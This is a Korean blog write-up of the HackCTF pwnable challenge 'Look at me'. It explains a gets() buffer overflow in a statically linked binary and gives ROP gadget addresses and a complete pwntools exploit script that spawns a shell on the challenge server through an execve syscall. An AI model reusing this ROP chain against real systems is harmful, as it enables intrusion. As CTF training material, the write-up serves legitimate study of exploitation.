본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Look at me 풀이

by snwo 2020. 6. 24.

gets 로 입력을받아 overflow 발생하는 프로그램이다.

왼쪽을 보면, 쓰이지않는 함수들도있는걸 볼 수 있는데,

기존에봐왔던 Dynamic linking 과 다르게

Static linking 을 했다.

 

Static linking 은

라이브러리코드들을 모두 실행파일에 포함시켜서

라이브러리 함수들로 ret 할 수 있습니다.

 

하지만 execve 는 안보이므로,

eax 에 32bit syscall 에서 SYS_EXECVE 값인 11을 넣고

int 0x80 으로 쉘을 따야겠습니다.

 

( NX 가 적용되어있어 쉘코드실행 X

RELRO 가 FULL 이 아니여서 bss 에 /bin/sh 입력가능)


execve("/bin/sh",NULL,NULL)

                 ebx     ecx    edx

 

0x080583bf : xor eax, eax ; pop ebx ; ret

0x080b81c6 : pop eax ; ret

0x080de955 : pop ecx ; ret

0x0806f02a : pop edx ; ret

int 0x80 으로 syscall 할 것이므로, 
eax = SYS_EXECVE (11)

ebx = '/bin/sh'

ecx = 0 (NULL)

edx = 0 (NULL)

 

이렇게 인자를 넣어주자. /bin/sh 문자열은 찾을 수 없으니,

[ 1 ] = gets 로 리턴해서 bss 영역에 /bin/sh 를 써준뒤

[ 2 ] = 가젯들로 리턴해서 인자를 맞춰준후, int 0x80 으로 리턴


from pwn import *

r=remote("ctf.j0n9hyun.xyz",3017)
#r=process("./lookatme")
b=ELF("./lookatme")

bss=0x80eaf80+0x1000
int80=0x806cc25
peax=0x80b81c6
pebx=0x080583bf
pecx=0x80de955
pedx=0x0806f02a

pay=""
pay+='x'*28
pay+=p32(b.symbols['gets'])
pay+=p32(pebx)
pay+=p32(bss)
pay+=p32(pecx)
pay+=p32(0)
pay+=p32(pedx)
pay+=p32(0)
pay+=p32(peax)
pay+=p32(11)
pay+=p32(int80)


r.sendline(pay)
r.sendline("/bin/sh")
r.interactive()

ebx pop 하는 가젯을 eax pop 가젯보다 먼저써줘야한다. xor eax eax 로 초기화하기때문

(ebx 가젯에 2 를 더하면 상관없다)

 

다른 풀이를 보니, mprotect 함수로 bss 영역에 실행권한을 줘서

문제를 풀더라. 새로운걸 알아냈다.